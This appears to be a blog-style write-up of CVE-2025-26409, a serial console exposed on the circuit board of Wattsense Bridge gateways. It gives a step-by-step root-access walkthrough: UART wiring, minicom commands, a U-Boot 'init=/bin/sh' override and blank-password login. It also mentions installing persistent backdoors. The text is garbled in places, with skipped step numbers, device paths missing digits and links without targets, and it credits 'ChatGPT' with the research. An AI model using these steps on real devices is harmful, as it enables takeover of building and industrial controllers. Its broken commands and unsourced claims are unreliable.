Recently, CVE-2025-26409 was published, revealing a physical security flaw in Wattsense Bridge devices. With direct access to the PCB (printed circuit board) of these IoT gateways, attackers can use an exposed serial interface to break into the system as root. In this article, we’ll break down the vulnerability, show you how the attack works (step-by-step), and point you to official resources and fixes.

What Devices Are Affected?

Wattsense Bridge is a device used for building automation and industrial control. Some firmware versions leave a serial interface accessible if you have physical access to the device's circuit board.

How the Vulnerability Works

The heart of this issue is simple: a serial console header is available directly on the PCB. If someone gets their hands on the device, they can attach a serial-to-USB adapter and interact with both the bootloader and Linux login, which may allow full root access—no passwords needed!

Step-by-Step Exploit Guide

Disclaimer: This info is for responsible disclosure, learning, and defensive purposes only. Don’t try on devices you don’t own or have explicit permission to test.

2. Connect a Serial Adapter

You’ll need a USB-to-Serial (TTL) adapter (such as FTDI, CP2102, CH340).

USB Adapter GND -> Device GND

Typical settings:
baudrate = 115200, 8-N-1 (8 data bits, no parity, 1 stop bit)

3. Start a Serial Terminal

On your computer, use any serial terminal program (like PuTTY on Windows or minicom on Linux). Here’s an example for Linux:

sudo apt install minicom
sudo minicom -D /dev/ttyUSB -b 115200

Often you’ll see:

U-Boot 202.01 (Wattsense Bridge BSP)
Press any key to stop autoboot:

5. Gain a Root Shell

Bootloader often allows you to modify the Linux kernel command line. You can override the init process or drop to single-user mode:

At the bootloader prompt, try

setenv bootargs console=ttyS,115200 root=/dev/mmcblkp2 rw init=/bin/sh
boot

(Commands may vary by device – consult the Wattsense documentation or sample bootlog.)

When Linux finishes booting, it drops you to a prompt like

/ #

Now you’re root! From here, you can read or change configuration, upload your own firmware, or install persistent backdoors.

If you see a login prompt instead, and there’s no password set for root, just type

login: root
Password: <leave blank, press enter>

Often there is either no root password, or one easily guessed/default.

For automation, you can use pyserial

import serial

ser = serial.Serial('/dev/ttyUSB', 115200)
while True:
    data = ser.readline()
    print(data.decode(errors='ignore').strip())

Original CVE Record:

CVE-2025-26409 – Mitre
- Wattsense Support/Docs:
Wattsense Documentation

Firmware Download & Changelog:

Wattsense Downloads

Remediation:
Upgrade the firmware to BSP 6.4.1 or newer. Recent versions may disable bootloader or enforce secure boot / authentication for the serial shell.

Exploit Impact

If an attacker can physically get to the PCB (for example, during installation, service, or theft), they can gain full root access. They could:

Steal or tamper with sensitive data and keys

- Spread malware or pivot into connected OT/IT networks

Physical security is critical! Never leave devices like this in unsecured locations.

Conclusion

CVE-2025-26409 is an example of how overlooked debug interfaces can create severe real-world vulnerabilities. If you manage Wattsense Bridge devices, patch immediately and lock down physical access!

If you want to learn more about industrial IoT security risks like this, follow these top IoT security blogs and stay up-to-date.

Stay safe, and secure your hardware!

*Original research & exclusive walkthrough by ChatGPT. Links and exploit steps provided for educational purposes only.*

Timeline

Published on: 02/11/2025 10:15:09 UTC
Last modified on: 03/17/2025 17:15:39 UTC